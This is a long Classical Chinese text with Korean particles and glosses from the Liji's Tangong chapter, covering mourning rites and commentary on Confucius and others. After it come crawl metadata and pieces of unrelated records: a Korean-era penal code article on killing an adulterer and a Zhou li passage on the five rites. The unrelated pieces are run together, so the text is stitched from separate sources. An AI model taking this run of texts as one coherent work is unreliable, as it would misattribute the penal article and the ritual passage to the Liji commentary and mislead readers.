此泰山婦人所以寧遭虎之累傷而不忍舍(?)其政之無苛也 揚雄之論酷吏曰 虎哉虎哉角而翼者也與此同意. [罟:그물고,檻:浴器함,우리.穽:함정정]\n57. 魯人이 有周豊也者이러니, 哀公이 執摯하사[至]請見之하신대, 而曰,\"不可하니이다.\"公이 曰하사대,\"我其已夫인저.\"하시고, 使人으로 問焉曰하사대,\"有虞氏이 未施信於民이라도 而民이 信之하며, 憂后氏이 未施敬於民이라가 而民이 敬之하니 何施而得斯於民也오?\"對曰호대,\"墟墓之間에 未施哀於民이라가 而民이 哀하며, 社稷宗廟之中에 未施敬於民이라가 而民이 敬하고, 殷人이 作誓而民이 始畔하며, 周人이 作會而民이 始疑하니. 苟無禮義忠信誠慤之心以涖之면 雖固結之한달, 民其不解[佳買反]乎아!\"[墟:빈터허.언덕허,구렁,저자(市)][墟:다다를리,임할리][516]\n周豊은 必賢而隱者라 故.哀公이 屈已見之하니 乃曰不可者난 蓋古者不爲臣不見이라. 故.不敢當君之臨見也라. 我其已夫난, 已난 止也이니 不强其所不願也라. 有心之固結이 不若無心之感孚이니 其言이 甚正이나 但大禹征苗에 已嘗誓師하니 誓非始於殷也요, 禹이 會諸侯於塗山이니 會亦不始於周也니 此言誓之而畔,會之而疑난 則始於殷周耳로다. [孚:미쁠부]\n長樂陳氏曰黃帝之於廣成湯之於伊尹請必下風聘必三幣豈以一辭而止哉 此其樂善不倦者也 魯哀公之於周豊執 執請見一辭之以不可則止焉 使人問之而已 其視樂善不倦者則有間矣墟墓之間社稷宗廟之中無情於感民 而民哀敬殷人作誓周人作會有心於制民而民畔疑也 蓋誓生於不信會生於不敬不信而誓之使信則民始畔不敬而會之使敬則民始疑周豊之言 凡欲哀公修敬信以感民而已 論語孔子對哀公以孝慈則忠臨之以莊則敬與此同義\n○ 嚴陵方氏曰 夫 虞夏之得天下也以禪 周之得天下也以爭 禪則出於自然 故信未施而民信之且無異 夫墟墓之間民之自哀也 敬未施而民敬之且無異乎 社稷宗廟之中民之自敬也爭則出乎不得已故誓雖作而反以起民之畔會雖作而反以致民之疑而已且畔固甚於疑也 畔其言未足爲甚疑者衆於是爲甚焉 禮義忠信誠懿之心則敬之道所自出也 固結之則以誓會而已 苟無是心以涖之則結之者雖固民亦觧而散矣 凡物結之則聚觧之則散唯其結之而聚故可觧之而散若夫有以涖之則無所結也 亦不可觧矣.\n[涖(리):여울소리,임하다,보이다][觧:(해:풀다緩,쪼개다判.解同)(선:생선,곱다,鮮同)]\n59. 喪不慮居하며, 毁不危身이니. 喪不慮居난 爲無廟也요. 毁不危身은, 爲無後也이니라. [528]\n劉氏이 曰 喪禮난 稱家之有無이니 不可勉爲厚 葬而致有敗家之慮이니 家發則宗廟이 不能以獨存矣니라. 毁不滅性은 不可過爲哀毁而致有亡身之危니 以死傷生則君子이 謂之無子矣라. 此二者이 皆所以防賢者之過禮니라.\n60. 延陵季子이 適齊러니, 於其反也에 其長子이 死커늘, 葬於嬴愽[博]之間하더니, 孔子이 曰하사대,\"延陵季子난 吳之習於禮者也라.\"하시고 往而觀其葬焉하시니. [529]\n吳公子札이 讓國而居延陵하니 故.曰 延陵季子라. 嬴 愽은 齊二邑名이라.[嬴:찰영]\n其坎深이[去聲]不至於泉하며, 其斂以時服하며 旣葬而封하니[如字], 廣[去聲]輸이 揜坎하며, 其高이 可隱[於刃反]也이러니, 旣封하고, 左袒하야 右還其封하야, 且號[平聲]者三하고, 曰,\"骨肉이 歸復于土하니 命也이로다! 若魂氣則無不之也며, 無不之也라.\"하고 而遂行한대. 孔子이 曰, \"延陵季子之於禮也에 其合矣乎인저?\" [530]\n[嬴(영)姓,解,滿餘,端(끝),美][坎(감):구덩이,험하다,치는소리,64괘중1][揜:손으로가릴암,찾아낼엄.困迫할엄][輸:보낼수]\n不至於泉은 謂得淺深之宜也라. 時服은 隨死時之寒暑所衣也라. 封은 築土爲墳也라. 橫曰廣이오, 直曰輪이라. 下則僅足以揜坎요 上則纔至於可隱이 皆儉制也라. 左袒은 以示陽之變이오, 右還은 以示陰之歸라. 骨肉之歸土난 陰之降也이오, 魂氣之無不之난 陽之升也라. 陰陽은 氣也이니, 命者난 氣之所鍾也라. 季子이 以骨肉歸復于土로 爲命者난 此이 精氣爲物之有盡이오, 謂魂氣則無不之者난 此이 遊魂爲變之無方也라. 壽夭이 得於有生之初하니 可以言命이오, 魂氣이 散於旣死之後하니 不可以言命也라. 再言無不之也者난 敏傷離訣之至情而冀其魂之隨己以歸也라. 不惟適旅葬之節이라. 而又且通幽明之故하니 宜夫子之善之也라. 然,爲疑辭而不爲決辭者난 蓋季子이 乃隨時處中之道이니 稱其有無而不盡拘乎禮者也라. 故.夫子이 不直曰季子之於禮也에 合矣而必加其乎二字하야 使人由辭以得意也시니 讀者이 詳之하라.\n[纔:겨우재,잠깐재,비로소,처음,조금. 검붉은비단삼]\n○ 石梁王氏이 曰還與環同하다.\n61. 邾婁考公之喪에 徐君이 使容居로 來弔含한대[去聲], 曰호대,\"寡君이 使容居로 坐含하야 進侯玉이라하고, 其使容居이 以含\"한대 [532]\n考公之喪에 徐國君이 使其臣容居者來弔하고, 且致珠玉之含호대, 言寡君이 使我親坐而行含하야 以進侯玉於邾君이라하니 侯玉者난 徐이 自擬天子하야 以邾君爲己之諸侯이니, 言進侯氏以玉也라. 其使容居以含者난 容居이 求卽行含禮也라.\n[含:머금을함,넣다,품다,무궁주][邾:國名(魯附庸國]\n○ 疏曰 凡行含禮난 未斂之前에 士則主人親含하고, 大夫以上은 卽使人含이니, 若斂後, 至殯葬에 有來含者이 親自致璧於柩,及殯上者를 謂之親含이오. 若但致命하고 以璧授主人이어든 主人受之를 謂之不親含이니라.[邾:나라이름주]\n○ 石梁王氏이 曰 坐난 當訓跪라.\n有司이 曰호대,\"諸侯之來辱敝邑者이, 易[異]則易하고, 于則于하나니. 易于雜者난 未之有也이니라.\" [533]\n邾之有司이 拒之난 言諸侯之辱來邾國者이 人臣來而其事이 簡易면 則行人臣簡易之禮하고, 人君來而其事이 廣大면 則行人君廣大之禮라. 于난 猶迂也이니 有廣遠之意라. 今人臣來而欲行人君之禮하니 是이 易于相雜矣니 我國에 未有此也라.\n容居이 對曰호대,\"容居난 聞之호니, 事君호대 不敢忘其君하며, 亦不敢遺其祖이니 昔에 我先君駒王이 西討하실새 濟於河하사, 無所不用斯言也하시니. 容居난 魯人也라. 不敢忘其祖호라.\" [534]\n容居이 又答言事君者난 不敢忘其君하나니, 我奉命如此하니 今不能行이면 是忘吾君也요. 爲人子孫하야 當守先世之訓이니, 故.亦不敢遺吾祖也라하니 居난 蓋徐之公族耳라. 且言昔者.我之先君駒王이 濟河而西討할새 無一處不用此稱王之言이라하니, 自言其疆土廣大하야 久己行王者之禮也요. 又自言我非譎詐者라. 乃魯鈍之人이니 是以.不敢忘吾祖라 하니 欲邾人之信其言也라. 此난 著徐國君臣之僭하고, 且明邾有司의 不能終正當時之僭也라.\n[譎:간사할휼,속일휼][鈍:둔할둔][僭:참람할참]\n子思之母이 死於衛커늘, 赴於子思하야대, 子思이 哭於廟하더시니, 門人이 至하야, 曰호대,\"庶氏之母이 死커늘, 何爲哭於孔氏之廟乎오?\"子思이 曰하시대,\"吾過矣며, 吾過矣라하시고.\"遂哭於他室하시다. [535-1]\n伯魚卒에 其妻이 嫁於衛之庶氏하니 嫁母이 與廟絶族이라. 故.不得哭之於廟라.\n○ 嚴陵方氏曰 他室 異室也 以有別於正 故謂之他以義 起之而已\n62. 天子이 崩커시든 三日에 祝이 先服하고, 五日에 官長이 服하고, 七日에 國中男女服하고, 三月에 天下이 服하나니라. [535-2]\n疏曰祝은 大祝商祝也라. 服은 服杖也니, 是喪服之數라. 故.呼杖爲服하니 祝이 佐含斂. 先病이라. 故.先杖也니 故.子亦三日而杖하나니라. 官長은 大夫士也라. 病在祝後라 故.五日이요, 國中男女난 謂畿內民及庶人在官者이니 服齊衰三月而除하나니라. 必待七日者난 天子이 七日而殯이니 殯後嗣王이 成服이라. 故.民得成服也라. 三月天下服者난 謂諸侯之大夫이니 爲王繐衰하야 旣葬而徐하니, 近者이 亦不待三月이로대 今據遠者爲言耳라. 何以知其或杖服或衰服고? 按喪大記,及喪服四制에 云云하니, 然.四制云. 七日授士杖이라하고, 此云五日士杖者난 崔氏이 云 此난 據朝廷之士요, 四制난 言邑宰之士也라. [繐:가는실세,성긴베세]\n○ 嚴陵方氏曰 喪人之冠帶衣裳杖屨通謂之服 此所謂服特指杖爾 夫杖所以扶病也 祝先服者力勞而先病故也言祝先服則子可知矣 官長以對祝言之則力有勞逸以對子言之則恩有重輕故五日而后服杖也 七日國中南女服三月天下服言 各服其所服之服非謂杖矣 蓋不特以恩有重輕 故服有先後亦以地有遠近而聞計有早晩故也\n虞人이 致百祀之木可以爲棺槨者하야 斬之호대. 不至者를 廢其祀하며, 刎[武粉反]其人하나니라.[刎:목자를문] [537]\n虞人은 掌山澤之官也라. 天子之棺이 四重而椁周焉하니, 亦奚以多木爲哉완대, 畿內百縣之祀에 其木可用者를 悉斬而致之이 無乃太多乎이며 畿內之美材이 固不乏矣니 奚獨於祠祀斬之乎이며, 廢其祀刎其人이 又何法之峻乎오. 禮制若此하니 未詳其說이로다. 一云必命虞人致木하야 不用命者然後, 國有常刑하니 虞人非一이니 未必盡命之也라.\n63. 齊이 大饑커늘, 黔敖이 爲食[如字]於路하니, 以待餓者而食[嗣]之하더니. 有餓者이 蒙袂輯[集] 屨하야 貿貿[茂]然來하거늘. 黔敖이 左奉[上聲]食하고 右執飮하야, 曰호대,\"嗟라! 來食하라.\"揚其目而視之하야 曰호대,\"子唯不食嗟來之食이라, 以至於斯也호라.\"從而謝焉한대, 終不食而死하니. 曾子이 聞之하시고 曰하사대,\"微與이니![平聲] 其嗟也에 可去어니와, 其謝也에 可食이니라.\"[黔(검:검다,(금:귀신이름)][袂:소매늘어진부분몌] [538]\n蒙袂는 以袂蒙面也라. 輯屨난 輯斂其足이니, 言困憊而行蹇也라. 貿貿난 垂頭喪氣之貌라. 嗟來食은 歎閔之而使來食也라. 從은 就也라. 微與난 猶言細故末節이니 謂嗟來之言이 雖不敬이나 然,亦非大過니, 故,其嗟雖可去이나 而謝焉則可食矣라. [憊:고달플비][蹇:절름발이건]\n廬陵胡氏曰 今之君子之急於祿食也 嗟而不去不謝而食者多矣 視餓者有愧也\n○ 臨川吳氏曰曾子之言君子之中餓者之操賢者之過也\n65. 邾婁定公之時에, 有弑其父者이어늘, 有司이 以告한대. 公이 瞿[屨]然失席하사, 曰하사대,\"是寡人之罪也이로다.\"曰하사대,\"寡人은 嘗學斷斯獄矣러니 臣弑君이어든 凡在官者이 殺無赦하며. 子弑父이어든 凡在宮者이 殺無赦이니 殺其人하며, 壞[怪]其室하며, 洿[烏]其宮而豬焉이니\" 蓋君은 踰月而后에사 擧爵이니라.[539]\n[邾婁:나라이름주루,성주][瞿:놀라서볼구][赦:용서할사(赦免,赦宥)]\n瞿然은 驚怪之貌라. 在官者난 諸臣也라. 在宮者난 家人也라. 天下之惡이 無大於此者하니 是以人皆得以誅之오, 無赦之之理호대 惟父有此罪면 則子不可討之也라. 君不擧爵에 以人倫大變이 亦敎化不明所致니 故,傷悼而自貶耳라.\n○ 疏曰豬(猪)난 是水聚之名이라. ○ 石梁王氏이 曰 註疏本에 作子弑父凡在宮者殺無赦하니 爲是라.[赦:용서할사]\n66. 晉잇 獻文子이 成室이어늘, 晉大夫이 發焉하더니. 張老이 曰호대,\"美哉라.輸焉이여! 美哉라 奐焉이여! 歌於斯하며, 哭於斯하며, 聚國族於斯이로다.\"文子이 曰호대,\"武也이 得歌於斯하며, 哭於斯하며, 聚國族於斯하면, 是난 全要[平聲]領하야 以從, 先大夫於九京[原]也라하고.\"北面하야 再拜稽首한대. 君子이 謂之善頌善禱이라 하니라.[541]\n[奐(환):클,빛날,편할,성할][頌:칭송,기릴]\n晉獻은 舊說에 謂晉君獻之하니 謂賀也라 然,君有賜於臣에 豈得言獻이리오. 疑獻文二字이 皆趙武謚니 如貞惠文子之類라. 諸大夫이 發禮往賀할새 記者이 因述張老之言하니라. 輪은 輪囷이니 高大也요. 奐은 奐爛이니 衆多也라. 歌난 祭祀作樂也라. 哭은 死喪哭泣也라. 聚國族은 燕集國賓聚會宗族也라. 頌者난 美其事而祝其福이오, 禱者난 祈以免禍也라. 張老之言은 善於頌이오, 武子所答은 善於禱也라.\n[頌:웃을익][囷:곳집균][爛:빛날난]\n○ 鄭氏이 曰 晉.卿大夫之墓地이 在九原하니라. ○ 疏曰 領은 頸也이니 古者罪重腰斬하니 罪輕頸刑이니라. 先大夫文子父祖也라. ○ 石梁王氏이 曰 歌於斯난 謂祭祀歌樂也니 大夫이 祭無樂호대 春秋時에 或有之하니라. [頸:목경]\n67. 仲尼之畜[許六反]狗이 死커늘, 使子貢으로 埋之하더시니, 曰하사대,\"吾난 聞之也호니, 敝帷를 不弃난, 爲[去聲]埋馬也오. 敝蓋를 不弃난, 爲埋狗也니, 丘也난 貧하야 無蓋호니, 於其封[窆]也에, 亦子[上聲]之席하야, 毋使其首로 陷焉이라.\"하시다.[542]\n狗馬이 皆有力於人이라, 故.特示恩也라.\n68. 季孫之母이 死커늘, 哀公이 弔焉하더시니. 曾子이 與子貢으로 弔焉이어늘, 閽人이 爲[去聲]君在하야 弗內[納]也한대, 曾子이 與子貢으로 入於其廏而修容焉하야, 子貢이 先入이어늘, 閽人이 曰호대,\"鄕[去聲]者에 已告矣라.\"曾子이 後入이어시늘, 閽人이 辟[避]之호다. [543][閽:문지기혼][廏:마구간구.廐]\n鄕者已告난 言先已告於主人矣라.\n69. 涉內霤한대, 卿大夫이 皆辟位하며, 公이 降一等而揖之하니, 君子이 言之 曰호대,\"盡飾之道난 斯其行者이 遠矣라.\" [544]\n內霤난 門屋後簷也라 行者遠은 猶言感動之大也라.\n○ 劉氏이 曰 此章이 可疑라. 二子이 弔卿母之喪에 必自盡禮以造門이니 不當待閽者拒而後脩容盡飾也요, 且旣至而閽人辭이며 或當再請於閽이오. 若終不得通인댄 退可也니 何必以威儀悚動之하야 以求入耶아? 其入而君卿大夫敬之者난 以平日知其賢也요, 非素不相知라가 創見其容飾之美而加敬也이어늘 而君子이 乃曰盡飾之道난 斯其行者遠이라하니, 則是二子之德行이 不足以行遠이오 惟區區之外飾이 乃足以行遠耶아! [脩:포수,말리다][悚:悚懼]\n70. 陽門之介夫이 死커늘, 司城子罕이 入而哭之哀한대. 晉人之覘宋者이 反報於晉侯하야, 曰,\"陽門之介夫이 死커늘 而子罕이 哭之哀한대, 而民이 說하니[悅], 殆不可伐也이러이다.\" [罕:그믈한,깃발한][545]\n陽門은 宋之國門名이라. 介夫난 甲士之守衛者라. 宋武公은 諱司空이니 改其官名爲司城이니라. 子罕은 樂喜也니 戴公之後라. 覘은 闚視也라.[覘:엿볼점,기다릴점][闚:엿볼규]\n71. 魯莊公之喪에 旣葬하고 而絰을 不入庫門하며. 士大夫이 旣卒哭하고, 麻를 不入하니라. [547]\n莊公이 爲子般所弑而慶父이 作亂하니 閔公이 時年八歲라. 絰은 葛絰也라. 諸侯난 弁絰葛而葬하니 葬畢에 閔公이 卽除凶服於庫門之外而以吉服嗣位라. 故,云絰不入庫門也라. 士大夫則仍麻絰하고, 直侯卒哭하야 乃不以麻絰入庫門하니 蓋閔公이 旣吉服하고 不與虞與卒哭之祭라. 故,群臣이 至卒哭而除하니 記禍亂恐迫하야 禮所由廢라.\n嚴陵方氏曰 君以葬爲節臣以卒哭爲節者君先除而後臣敢除故也然此皆不能三年則失禮之甚矣\n72. 孔子之故人은 曰 原壤이라. 其母이 死커늘, 夫子이 助之沐槨하신대. 原壤이 登木하야 曰,\"久矣라 予之不託於音也여.\"歌曰호대,\"貍首之斑然이로소니, 執女手之卷[拳]然이로다.\"夫子이 爲弗聞也者而過之하신대. 從[去聲]者이 曰호대,\"子난 未可以已乎잇가?\"夫子이 曰하사대,\"丘난 聞之호니, 親者엔 毋失其爲親也하며, 故者엔 毋失其爲故也이니라.\" [貍:삵리][斑:얼룩반][548]\n或이 問朱子호대 原壤登木而歌에 夫子이 爲弗聞而過之하시니 待之自好이러니와 及其夷侯則以杖叩脛하시니 莫太過否아 曰 這說이 却差하니 如壤之歌이 乃是大惡이니 若要理會면 不可但已라. 只得且休요, 至其夷侯之時엔 不可不敎誨라. 故.直責之하시고 復叩其脛하시니 自當如此라. 若如今說이면 則是不要管他이니, 却非朋友之道矣니라.\n○ 胡氏이 曰 數其母死而歌則壤當絶이오, 叩其夷踞之脛則壤猶故人耳라. 盛德中禮見乎周旋이 此亦可見이니라.\n○ 馮氏이 曰 母死而歌하니 惡有大於此者乎아! 宜絶而不絶은 蓋以平生之素而事有出於一時之不意者이 如此하니, 善乎,朱子之言에 曰若要理會,不可但已,只得且休라 하시니, 其有以深得聖人之處其所難處者矣니라.\n○ 劉氏이 曰 原壤母卒에 夫子이 助之治椁하실새, 壤이 登已治之椁木而言,久矣,我之不託興於詠歌之音也이여. 如貍首之斑은 言木文之華也요, 卷은 與拳同하니 如執女手之拳이니, 言沐椁之滑膩也라. 壤之廢敗禮法이 甚矣로대, 夫子이 佯爲不聞而過去以避之하시니 從者이 見其無禮하고 疑夫子必當已絶其交하야 故問曰 子未當已絶之乎아? 夫子이 言爲親戚者난 雖有非禮나 未可遽失其親戚之情也요, 爲故舊者난 雖有非禮나 未可遽失其故舊之好也이라 하시니. 此난 聖人隱惡全交之意라.\n[踞:웅크릴거][膩:살찔니,미끄럴울니,기름질니,때垢][佯(양):거짓,겉치레][遽:갑짜기]\n石林葉氏曰 孔子責原壤重於夷侯而略於喪歌者夷侯禮之踞也人道不可以不責是以雖痛絶之不爲過親喪而歌豈止違禮而已哉 孔子聞而不問見不可以敎問之則人道絶矣 故過之若不聞者乃所以全故舊之恩此夫子之道 忠恕者也 方周之末世有妻死鼓盆而歌自以爲達如莊周者友死臨尸而歌自以爲禮如子皮琴張者蓋將以矯世未必出其誠心然不可施之於孔子之門此夫子所以有時而抑揚與.\n73. 趙文子이 與叔譽로 觀乎九原하더니. 文子이 曰,\"死者를 如可作也인대, 吾誰與歸오?\" [551]\n文子난 晉大夫이니 名武라. 叔譽난 叔向也라. 言卿大夫之死而葬於此者이 多矣라. 假令可以再生而起인대 吾이 於衆大夫에 誰從乎오? 文子이 蓋說此說하니, 欲與叔向으로 共論前人賢否也라.\n74. 叔譽이 曰호대,\"其陽處父乎인저.\"文子이 曰호대,\"行幷植[直吏反]於晉國하야 不沒其身하니, 其知 [去聲]不足稱也이니라.\" [552]\n處父난 晉襄公之傳라. 幷者난 兼衆事於已니, 是專權也라. 植者난 剛强自立之意라. 所行如此라. 故,爲狐射姑所殺하야 不得善終其身하니 是不智也라.\n\"其舅犯乎인저?\"文子이 曰,\"見利하고 不顧其君하니, 其仁이 不足稱也이니라. [552]\n叔譽이 又稱子犯可歸한대 文子이 言子犯이 從文公十九年于外라가 及反國危疑之時에 當輔之入,以定其事이어늘 乃及河而授璧以辭하니, 此이 蓋爲他日高爵重祿之計라. 故,以此言要君求利也하니 豈顧其君之安危哉아? 是不仁也라.\n我則隨武子乎인저! 利其君호대 不忘其身하면, 謀其身호대 不遺其友이라.\"한대 晉人이 謂文子知人이라 하니라. [553]\n文子이 自言 我所願歸者난 惟隨武子乎인저 武子난 士會也니 食邑於隨하니라. 左傳에 言夫子之家事이 治하며 言於晉國에 無隱情이라하니 蓋不忘其身而謀之난 知也요, 利其君不遺其友난 皆仁也라.\n文子난 其中이 退然하야 如不勝[升]衣하며, 其言이 吶吶[如劣反]然하니 如不出其口하더니.[吶(눌):고함을 심하게질러 말문이 막히다] [554]\n中은 身也라. 見儀禮鄕射記하다. 退然은 謙卑怯弱之貌라. 吶吶은 聲低而語緩也라. 如不出諸其口난 似不能言者라.\n所擧於晉國이라, 管庫之士이 七十有餘家이로대 生不交利하며, 死不屬[燭]其子焉이니라. [554]\n管은 鍵也라. 卽今之鎻니 庫之藏物을 以管爲開閉之限하나니라. 管庫之士난 踐職也라. 知其賢而擧之하니 卽不遺友之實이오, 雖有擧用之恩於其人이나 而生則不與之交利하고, 將死에 亦不以其子屬託之하니 廉潔之至라.\n長樂陳氏曰 君子之尙友以一鄕爲未足則友於一國以一國爲未足則友之天下以天下爲未足則尙論古之入此 文子叔譽所以論死者之可作也 叔譽以陽處父與舅犯爲可與歸文子則謂處父不足於智舅犯不足於仁不若隨武子之愈 蓋太剛則易屈太直則易折植者剛直而自立者也 處父幷爲之其智不足稱矣 懷利者有己懷仁者有君舅犯見利而不顧君其仁不足稱矣 隨武子則利其君仁也 不忘其身謀諸其身智也不遺其友義也 二人於仁智爲不足武子於仁智義則兼而有之其身退然如不勝衣而其所爲足以勝大事其言吶吶如不出諸口而其所擧足以盡衆賢蓋管庫之士踐而難知七十有餘家衆而難辨文子之所擧雖踐不遺雖衆不繆豈非長於知人哉 然則文子成室不免張老之所戒樂奏肆夏自文子示其奢僭如此而謂生不交利何也 蓋奢僭在己交利在人[繆:얽을무][참람할참]\n叔仲皮이 學[效]子柳하더니, 叔仲皮이 死커늘, 其妻난 魯人也라, 衣[咨]衰而繆[樛]絰이러니, 叔仲衍이 以告한대, 請繐[歲]衰而環絰이어늘, 曰,\"昔者에 吾喪姑姉妹예 亦如斯호니, 末吾禁也이러라.\"하야늘 退하야, 使其妻로 繐衰而環絰하니라. [556]\n[繆얽을무,(목:다당 차례)(규:모매댜,꼴)(료:두르다)樛(규):木枝下曲.周流][繐:가는실세]\n繆난 絞也라. 謂兩股相交니 五服之絰이 皆然호대 惟弔服之環絰 一股라.\n[繆:얽을무,꼴규,목맬규][絞:목맬교][股:넙적다리고]\n○ 疏曰 言叔仲皮이 敎訓其子. 子柳而子 柳이 猶不知禮하야 叔仲皮이 死에 子柳妻이 雖是魯鈍婦人이나 猶知爲舅,著齊衰而首服繆絰호대 衍是皮之弟,子柳之叔이라. 見當時婦人이 好尙輕細하고 告子柳云,汝妻何以著非禮之服고? 子柳이 見時 皆如此하고 亦以爲然하야 乃請於衍하야 令其妻身著繐衰首服環絰한대, 衍이 又答云 昔者,吾喪姑姉妹에 亦如此繐衰環絰호대 無人相禁止也이라하니, 子柳이 得衍此言하고 退使其妻로 著繐衰而環絰하니라.\n○ 嚴陵方氏曰子柳雖受敎於父不若愚婦人之所爲也\n75. 成人이 有其兄死커늘 而不爲衰者이러니, 聞子皐이 將爲成宰하고, 遂爲衰한대. 成人이 曰호대,\"蠶則績이어늘 而蟹이 有匡하며, 范則冠이어늘 而蟬이 有緌,하며[而追反] 兄則死이어늘 而子皐를 爲之衰로다.\"\n[蟹:게해][緌:관끈늘질유][蟬:매미선][557]\n成은 魯邑名이라. 匡은 背殼似匡也라. 范 蜂也 [殼:껍질각,내리치다,본디,바탕]\n○ 朱氏이 曰 絲之績者난 必由乎匡之所盛이나 然,蟹之有匡이 非爲蠶之績也라. 爲背而已오, 首之冠冠者난 必資乎緌之所飾이나, 然,蟬之有緌이 非爲范之冠也라. 爲喙而已오. 兄死者이 必爲之服衰나, 然,成人之服衰이 非爲兄之死也라. 爲子皐而已는 蓋以上二句로 喩下句也라.[喙:부리훼]\n○ 金華應氏曰 聞伯夷之風者頑夫廉聞下惠之風者薄夫敦聞子皐之風者悍夫悌故兄之死有昔不爲衰者而今爲之衰也一邑之宰如此有國有天下者所任皆得其人宜如何哉 是以仲尼相而無飮羊縱妻之民楊綰相而有減騶省樂之效風化之機係於人馬耳蠶績范冠之謠雖以戱夫民之爲服者未必出於誠心實以喜子皐之孝行足以感不友不悌之俗故周公之告康叔不以弟之大不克恭者爲怒而以克敬典者爲急分正東郊之責亦以孝友之君陳以感悟之其機固不在多也[頑:완고할완][綰:얽을관][騶:마부추]\n76. 樂正子春之母이 死커늘, 五日而不食하야 曰호대,\"吾난 悔之하러라. 自吾母而不得吾情이면, 吾난 惡[烏]乎用吾情이리오?\" [559]\n子春은 曾子弟子라 矯爲過制之禮而不用其實情於母이면 則他無所用其實情矣니 此이 所以悔也라.\n77. 歲旱커늘, 穆公이 召縣子而問然하야 曰,\"天久不雨할새[去聲] 吾欲暴[步卜反]尫이러니[汪]而奚若고?\" [尫(왕):절름발이,곱사,약함][559]\n左傳註에 云 尫者난 瘠病之人이라. 其面이 上向하니 暴之者난 冀天哀之而雨也라\/span>.\n[瘠:파리할척][冀:바랄기]\n曰호대,\"天則不雨而暴人之疾子이,[句] 虐[句]하니, 毋乃不可與[平聲]잇가?\" [560]\n此난 言酷虐之事이 非所以感天이라.\n78. 孔子이 曰하사대,\"衛人之祔也난 離之러니, 魯人之祔也난 合之하니, 善夫인저.\" [562]\n生旣同室하니 死當同宂이라. 故.善魯라.\n○ 疏曰 祔난 合葬也라. 離之난 謂以一物로 隔二棺之間於椁中也이니, 魯人則合하니 並兩棺置椁中하고, 無別物隔之라.\n○ 朱子이 曰 古者에 椁을 合衆材爲之라. 故,大小이 隨人所爲러니 今用全木하니 則無許大木可以爲椁이라. 故,合葬者이 只同宂而各用椁也하니라.[宂(冗의속자):번잡할용]\n終 檀弓下 → 王制 第五","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/4-dan-kwng-2.htm","date":"2019-02-19T19:50:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00263.warc.gz","language":"lzh","language_score":0.6999922395,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6999922394752502, \"cmn_Hani_score\": 0.17258504033088684, \"kor_Hang_score\": 0.07065211236476898, \"jpn_Jpan_score\": 0.04854591563344002}","num_words":5002,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.684,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"第十一節 因姦殺死律\n第四百九十五條 妻妾의 通奸을 見고 姦夫 殺 者 左開에 依야 處이라.\n一 行姦을 見고 姦夫와 姦婦 親獲야 登時殺死 者 勿論이라.\n二 姦夫가 姦所에셔 已離을 見고 卽時 門外에 追出야 殺 者 笞 一百호, 姦狀을 的見치 못 境遇에 故殺로 論이라.\n三 姦夫 姦所에셔 捕獲얏스나 登時에 殺치 못고 其後에 殺 者 懲役 終身\n四 通姦을 聞知만 고 姦夫 殺死거나 縱容行姦다가 姦夫 殺死 境遇에 幷히 故殺로 論이라.","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_190_0060_0010_0110_0010","date":"2020-07-16T16:32:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657172545.84\/warc\/CC-MAIN-20200716153247-20200716183247-00531.warc.gz","language":"lzh","language_score":0.5313953757,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.5313953757286072, \"cmn_Hani_score\": 0.29987841844558716, \"jpn_Jpan_score\": 0.16692085564136505}","num_words":63,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":0.531,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"物 理 论 曰 . 礼 者 . 履 也 . 律 也 . 义 同 而 名 异 . 五 礼 者 . 吉 凶 宾 军 嘉 也 .\n周 礼 . 大 宗 伯 之 职 . 以 吉 礼 事 邦 国 之 鬼 神 祇 . 事 谓 祀 之 祭 之 享 之 . 以 凶 礼 哀 邦 国 之 忧 . 哀 谓 救 患 分 灾 也 . 以 宾 礼 亲 邦 国 . 以 军 礼 同 邦 国 . 同 谓 威 其 不 协 偕 老 ○ 周 礼 注 作 僭 差 . 此 讹 . 也 . 以 嘉 礼 亲 万 民 . 嘉 . 善 也 . 所 以 因 人 心 所 善 而 为 制 . 吉 礼 之 别 十 有 二 . 一 曰 禋 祀 . 二 曰 实 柴 . 三 曰 槱 燎 . 四 曰 血 祭 . 五 曰 埋 沉 . 六 曰 辜 . 七 曰 肆 献 . 八 曰 馈 食 . 九 曰 祠 . 十 曰 禴 . 十 一 ○ 一 下 脱 曰 字 . 尝 . 十 二 曰 蒸 . 凶 礼 之 别 有 五 . 一 曰 丧 礼 . 哀 死 亡 . 二 曰 荒 礼 . 哀 凶 札 荒 . 人 物 有 害 之 也 . 三 曰 吊 礼 . 哀 祸 灾 . 遭 水 火 也 . 四 曰 禬 礼 . 哀 围 败 . 同 盟 合 会 财 货 . 以 更 其 所 丧 也 . 五 曰 恤 礼 . 哀 寇 乱 . 邻 国 相 忧 . 宾 礼 之 别 有 八 . 一 曰 朝 . 二 曰 宗 . 三 曰 觐 . 四 曰 遇 . 五 曰 会 . 六 曰 同 . 七 曰 问 . 八 曰 视 . 军 礼 之 别 有 五 . 一 曰 大 师 之 礼 以 用 众 . 二 曰 大 均 之 礼 以 恤 众 . 均 其 地 政 . 所 以 忧 民 . 三 曰 大 田 之 礼 以 简 众 . 因 田 习 阅 车 徒 之 数 也 . 四 曰 大 役 之 礼 以 任 众 . 筑 宫 邑 . 所 以 事 民 力 彊 ○ 周 礼 注 彊 下 有 弱 字 . 也 . 五 曰 大 封 之 礼 以 合 众 . 正 封 疆 以 合 众 人 也 . 嘉 礼 之 别 有 六 . 一 曰 饮 食 . 二 曰 婚 冠 . 三 曰 宾 射 . 四 曰 飨 燕 . 五 曰 脤 膰 . 六 曰 庆 贺 .\n又 曰 . 太 宰 掌 三 曰 礼 典 . 以 和 邦 国 . 以 统 百 官 . 以 谐 万 民 